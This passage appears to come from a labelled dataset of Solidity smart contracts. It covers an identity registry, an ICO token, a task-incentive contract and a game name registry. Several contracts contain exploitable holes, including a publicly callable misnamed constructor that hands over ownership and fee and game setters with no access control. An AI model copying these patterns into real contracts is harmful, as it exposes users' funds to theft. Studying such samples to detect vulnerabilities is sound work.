function SubmitProofOfOwnership(bytes32 proof) public onlyOwner{
Proof[proof] = true;
}
function RemoveProofOfOwnership(bytes32 proof) public ownerOrAuthority {
delete Proof[proof];
}
function CheckProofOfOwnership(bytes32 proof) view public returns(bool) {
return Proof[proof];
}
function BlockAddress(address addr) public ownerOrAuthority {
BlockedAddresses[addr] = true;
}
function UnBlockAddress(address addr) public ownerOrAuthority {
delete BlockedAddresses[addr];
}
function IsBlocked(address addr) public view returns(bool){
return BlockedAddresses[addr];
}
function Deactivate() public ownerOrAuthority {
require(IsAuthority[msg.sender] || msg.sender == Owner);
Active = false;
selfdestruct(Owner);
}
function IsActive() public view returns(bool) {
return Active;
}
mapping(bytes32 => bool) private VerifiedInfoHashes;
event Added(bytes32 indexed hash);
function AddVerifiedInfo( bytes32 hash) public onlyAuthority {
VerifiedInfoHashes[hash] = true;
Added(hash);
}
event Removed(bytes32 indexed hash);
function RemoveVerifiedInfo(bytes32 hash) public onlyAuthority {
delete VerifiedInfoHashes[hash];
Removed(hash);
}
function EtherealId(address owner) public {
IsAuthority[msg.sender] = true;
Active = true;
Creator = msg.sender;
Owner = owner;
}
modifier onlyOwner(){
require(msg.sender == Owner);
_;
}
modifier onlyAuthority(){
require(IsAuthority[msg.sender]);
_;
}
modifier ownerOrAuthority() {
require(msg.sender == Owner || IsAuthority[msg.sender]);
_;
}
modifier notBlocked() {
require(!BlockedAddresses[msg.sender]);
_;
}
function OwnerAddress() public view notBlocked returns(address) {
return Owner;
}
function IsAuthorityAddress(address addr) public view notBlocked returns(bool) {
return IsAuthority[addr];
}
function AddAuthorityAddress(address addr) public onlyOwner {
IsAuthority[addr] = true;
}
function RemoveAuthorityAddress(address addr) public onlyOwner {
require(addr != Creator);
delete IsAuthority[addr];
}
function VerifiedInfoHash(bytes32 hash) public view notBlocked returns(bool) {
return VerifiedInfoHashes[hash];
}
} | 1 | 3,459 |
pragma solidity ^ 0.4 .8;
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns(uint256);
function allowance(address owner, address spender) constant returns(uint);
function transferFrom(address from, address to, uint value) returns(bool ok);
function approve(address spender, uint value) returns(bool ok);
function transfer(address to, uint value) returns(bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract blockoptions is ERC20
{
string public name = "blockoptions";
string public symbol = "BOPT";
uint8 public decimals = 8;
uint public totalSupply=20000000 * 100000000;
uint pre_ico_start;
uint pre_ico_end;
uint ico_start;
uint ico_end;
mapping(uint => address) investor;
mapping(uint => uint) weireceived;
mapping(uint => uint) optsSent;
event preico(uint counter,address investors,uint weiReceived,uint boptsent);
event ico(uint counter,address investors,uint weiReceived,uint boptsent);
uint counter=0;
uint profit_sent=0;
bool stopped = false;
function blockoptions(){
owner = msg.sender;
balances[owner] = totalSupply ;
pre_ico_start = now;
pre_ico_end = pre_ico_start + 7 days;
}
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
address public owner;
modifier onlyOwner() {
if (msg.sender == owner)
_;
}
function transferOwnership(address newOwner) onlyOwner {
balances[newOwner] = balances[owner];
balances[owner]=0;
owner = newOwner;
}
function Mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function Div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function Sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function Add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
function transfer(address _to, uint _value) returns (bool){
uint check = balances[owner] - _value;
if(msg.sender == owner && now>=pre_ico_start && now<=pre_ico_end && check < 1900000000000000)
{
return false;
}
else if(msg.sender ==owner && now>=pre_ico_end && now<=(pre_ico_end + 16 days) && check < 1850000000000000)
{
return false;
}
else if(msg.sender == owner && check < 150000000000000 && now < ico_start + 180 days)
{
return false;
}
else if (msg.sender == owner && check < 100000000000000 && now < ico_start + 360 days)
{
return false;
}
else if (msg.sender == owner && check < 50000000000000 && now < ico_start + 540 days)
{
return false;
}
else if (_value > 0) {
balances[msg.sender] = Sub(balances[msg.sender],_value);
balances[_to] = Add(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
else{
return false;
}
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (_value > 0) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = Add(balances[_to], _value);
balances[_from] = Sub(balances[_from], _value);
allowed[_from][msg.sender] = Sub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}else{
return false;
}
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function drain() onlyOwner {
owner.send(this.balance);
}
function() payable
{
if(stopped && msg.sender != owner)
revert();
else if(msg.sender == owner)
{
profit_sent = msg.value;
}
else if(now>=pre_ico_start && now<=pre_ico_end)
{
uint check = balances[owner]-((400*msg.value)/10000000000);
if(check >= 1900000000000000)
pre_ico(msg.sender,msg.value);
}
else if (now>=ico_start && now<ico_end)
{
main_ico(msg.sender,msg.value);
}
}
function pre_ico(address sender, uint value)payable
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (400*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
preico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
function main_ico(address sender, uint value)payable
{
if(now >= ico_start && now <= (ico_start + 7 days))
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (250*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
ico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
else if (now >= (ico_start + 7 days) && now <= (ico_start + 14 days))
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (220*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
ico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
else if (now >= (ico_start + 14 days) && now <= (ico_start + 31 days))
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (200*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
ico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
}
function startICO()onlyOwner
{
ico_start = now;
ico_end=ico_start + 31 days;
pre_ico_start = 0;
pre_ico_end = 0;
}
function endICO()onlyOwner
{
stopped=true;
if(balances[owner] > 150000000000000)
{
uint burnedTokens = balances[owner]-150000000000000;
totalSupply = totalSupply-burnedTokens;
balances[owner] = 150000000000000;
}
}
struct distributionStruct
{
uint divident;
bool dividentStatus;
}
mapping(address => distributionStruct) dividentsMap;
mapping(uint => address)requestor;
event dividentSent(uint requestNumber,address to,uint divi);
uint requestCount=0;
function distribute()onlyOwner
{
for(uint i=1; i <= counter;i++)
{
dividentsMap[investor[i]].divident = (balanceOf(investor[i])*profit_sent)/(totalSupply*100000000);
dividentsMap[investor[i]].dividentStatus = true;
}
}
function requestDivident()payable
{
requestCount = requestCount + 1;
requestor[requestCount] = msg.sender;
if(dividentsMap[requestor[requestCount]].dividentStatus == true)
{
dividentSent(requestCount,requestor[requestCount],dividentsMap[requestor[requestCount]].divident);
requestor[requestCount].send(dividentsMap[requestor[requestCount]].divident);
dividentsMap[requestor[requestCount]].dividentStatus = false;
}
}
} | 0 | 789 |
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity <=0.6.2;
interface ITask {
function check(uint _requirement) external view returns (uint256);
function execute() external;
}
interface IWhirlpool {
function claim() external;
function getAllInfoFor(address _user) external view returns (bool isActive, uint256[12] memory info);
}
interface ISURF3D {
function dividendsOf(address _user) external view returns (uint256);
function withdraw() external returns (uint256);
}
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IFreeFromUpTo {
function freeFromUpTo(address from, uint256 value) external returns (uint256 freed);
}
contract AtlantisCore is Ownable {
IFreeFromUpTo public constant gst = IFreeFromUpTo(0x0000000000b3F879cb30FE243b4Dfee438691c04);
IFreeFromUpTo public constant chi = IFreeFromUpTo(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c);
address private constant _surf = 0xEa319e87Cf06203DAe107Dd8E5672175e3Ee976c;
address private constant _surf3D = 0xeb620A32Ea11FcAa1B3D70E4CFf6500B85049C97;
address private constant _whirlpool = 0x999b1e6EDCb412b59ECF0C5e14c20948Ce81F40b;
address[] public processors;
uint private _totalBurned;
uint private _totalTasks;
mapping (uint => Task) private _taskMap;
mapping (address => uint) private _totalIncentiveReceived;
mapping (address => uint) private _totalTasksByProcessor;
mapping (uint => uint) private _taskTimestamp;
mapping (address => bool) private _processed;
mapping (address => uint) public processorTimestamp;
struct Task {
address process;
bool enabled;
uint incentive;
uint burnRatio;
uint throttle;
uint requirement;
}
modifier discountGST {
uint256 gasStart = gasleft();
_;
uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length;
gst.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41130);
}
modifier discountCHI {
uint256 gasStart = gasleft();
_;
uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length;
chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41130);
}
constructor()
public {
_taskMap[0] = Task({
process: address(0x0),
enabled: true,
incentive: 200 ether,
burnRatio: 2,
throttle: 1 weeks,
requirement: 1000 ether
});
_totalTasks++;
}
function _check(uint _requirement)
internal view returns (uint256) {
(, uint256[12] memory userData) = IWhirlpool(_whirlpool).getAllInfoFor(address(this));
if(userData[10] >= _requirement)
return 0;
else
return _requirement - userData[10];
}
function _execute()
internal {
IWhirlpool(_whirlpool).claim();
if(ISURF3D(_surf3D).dividendsOf(address(this)) > 0)
ISURF3D(_surf3D).withdraw();
}
function _process(uint _taskID, address _processor)
internal {
require(block.timestamp >= _taskTimestamp[_taskID] + _taskMap[_taskID].throttle, "");
require(_taskMap[_taskID].enabled, "");
uint requirement = _taskMap[_taskID].requirement;
address taskProcess = _taskMap[_taskID].process;
if(requirement > 0)
require(_taskID == 0 ? _check(requirement) == 0 : ITask(taskProcess).check(requirement) == 0, "");
uint incentive = _taskMap[_taskID].incentive;
uint burnRatio = _taskMap[_taskID].burnRatio;
_taskID == 0 ? _execute() : ITask(taskProcess).execute();
if(!_processed[_processor]) {
_processed[_processor] = true;
processors.push(_processor);
}
processorTimestamp[_processor] = block.timestamp;
if(burnRatio != 0)
IERC20(_surf).transfer(_surf, incentive / burnRatio);
uint incentiveReceived = burnRatio == 0 ? incentive : incentive - (incentive / burnRatio);
IERC20(_surf).transfer(_processor, incentiveReceived);
_totalIncentiveReceived[_processor] += incentiveReceived;
if(incentive - incentiveReceived > 0)
_totalBurned += (incentive - incentiveReceived);
_totalTasksByProcessor[_processor]++;
_taskTimestamp[_taskID] = block.timestamp;
}
function addTask(address _taskProcess, uint _incentive, uint _burnRatio, uint _throttle, uint _requirement)
external onlyOwner {
_taskMap[_totalTasks] = Task({
process: _taskProcess,
enabled: true,
incentive: _incentive,
burnRatio: _burnRatio,
throttle: _throttle,
requirement: _requirement
});
_totalTasks++;
}
function editTask(uint _taskID, address _taskProcess, bool _enabled, uint _incentive, uint _burnRatio, uint _throttle, uint _requirement)
external onlyOwner {
_taskMap[_taskID] = Task({
process: _taskProcess,
enabled: _enabled,
incentive: _incentive,
burnRatio: _burnRatio,
throttle: _throttle,
requirement: _requirement
});
}
function process(uint _taskID, address _processor)
external {
if(msg.sender == address(this))
_process(_taskID, _processor);
else
_process(_taskID, msg.sender);
}
function processCHI(uint _taskID)
external discountCHI {
_process(_taskID, msg.sender);
}
function processGST(uint _taskID)
external discountGST {
_process(_taskID, msg.sender);
}
function bulkProcess(uint256[] calldata _taskIDs)
external {
for(uint x = 0; x < _taskIDs.length; x++)
address(this).call(abi.encodeWithSignature("process(uint256,address)", _taskIDs[x], msg.sender));
}
function bulkProcessCHI(uint256[] calldata _taskIDs)
external discountCHI {
for(uint x = 0; x < _taskIDs.length; x++)
address(this).call(abi.encodeWithSignature("process(uint256,address)", _taskIDs[x], msg.sender));
}
function bulkProcessGST(uint256[] calldata _taskIDs)
external discountGST {
for(uint x = 0; x < _taskIDs.length; x++)
address(this).call(abi.encodeWithSignature("process(uint256,address)", _taskIDs[x], msg.sender));
}
function check(uint _requirement)
external view returns (uint256) {
return _check(_requirement);
}
function viewStatsFor(address _processor)
external view returns (uint256, uint256) {
return (_totalIncentiveReceived[_processor], _totalTasksByProcessor[_processor]);
}
function viewCore()
external view returns (uint256, uint256) {
return (_totalBurned, _totalTasks);
}
function viewAllStatsFor(address _processor)
external view returns (uint256, uint256, uint256, uint256) {
return (_totalIncentiveReceived[_processor], _totalTasksByProcessor[_processor], _totalBurned, _totalTasks);
}
function viewTask(uint _taskID)
external view returns (bool, uint256, uint256, uint256, uint256) {
return (_taskMap[_taskID].enabled, _taskMap[_taskID].incentive, _taskMap[_taskID].burnRatio, _taskMap[_taskID].throttle, _taskMap[_taskID].requirement);
}
function viewTaskCheck(uint _taskID)
external view returns (uint256, uint256) {
uint throttleTimeLeft;
if(_taskTimestamp[_taskID] + _taskMap[_taskID].throttle > block.timestamp)
throttleTimeLeft = (_taskTimestamp[_taskID] + _taskMap[_taskID].throttle) - block.timestamp;
else
throttleTimeLeft = 0;
return (throttleTimeLeft, _taskID == 0 ? _check(_taskMap[_taskID].requirement) : ITask(_taskMap[_taskID].process).check(_taskMap[_taskID].requirement));
}
function viewProcessorLength()
external view returns (uint256) {
return processors.length;
}
function viewProcessors()
external view returns (address[] memory) {
return processors;
}
} | 0 | 1,626 |
pragma solidity ^0.4.24;
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
contract F3Devents {
event onLTestStr
(
string log
);
}
contract modularShort is F3Devents {}
contract PlayerBook is modularShort {
using NameFilter for string;
using SafeMath for uint256;
address private admin = msg.sender;
uint256 public registrationFee_ = 10 finney;
mapping(uint256 => PlayerBookReceiverInterface) public games_;
mapping(address => bytes32) public gameNames_;
mapping(address => uint256) public gameIDs_;
uint256 public gID_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Player) public plyr_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_;
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
constructor()
public
{
plyr_[1].addr = 0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53;
plyr_[1].name = "justo";
plyr_[1].names = 1;
pIDxAddr_[0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53] = 1;
pIDxName_["justo"] = 1;
plyrNames_[1]["justo"] = true;
plyrNameList_[1][1] = "justo";
plyr_[2].addr = 0x8b4DA1827932D71759687f925D17F81Fc94e3A9D;
plyr_[2].name = "mantso";
plyr_[2].names = 1;
pIDxAddr_[0x8b4DA1827932D71759687f925D17F81Fc94e3A9D] = 2;
pIDxName_["mantso"] = 2;
plyrNames_[2]["mantso"] = true;
plyrNameList_[2][1] = "mantso";
plyr_[3].addr = 0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C;
plyr_[3].name = "sumpunk";
plyr_[3].names = 1;
pIDxAddr_[0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C] = 3;
pIDxName_["sumpunk"] = 3;
plyrNames_[3]["sumpunk"] = true;
plyrNameList_[3][1] = "sumpunk";
plyr_[4].addr = 0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C;
plyr_[4].name = "inventor";
plyr_[4].names = 1;
pIDxAddr_[0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C] = 4;
pIDxName_["inventor"] = 4;
plyrNames_[4]["inventor"] = true;
plyrNameList_[4][1] = "inventor";
pID_ = 4;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
function useMyOldName(string _nameString)
isHuman()
public
{
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
plyr_[_pID].name = _name;
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
admin.transfer(address(this).balance);
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
} else {
return (false);
}
}
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function addGame(address _gameAddress, string _gameNameStr)
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0);
games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0);
games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0);
}
function setRegistrationFee(uint256 _fee)
public
{
registrationFee_ = _fee;
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 5,396 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
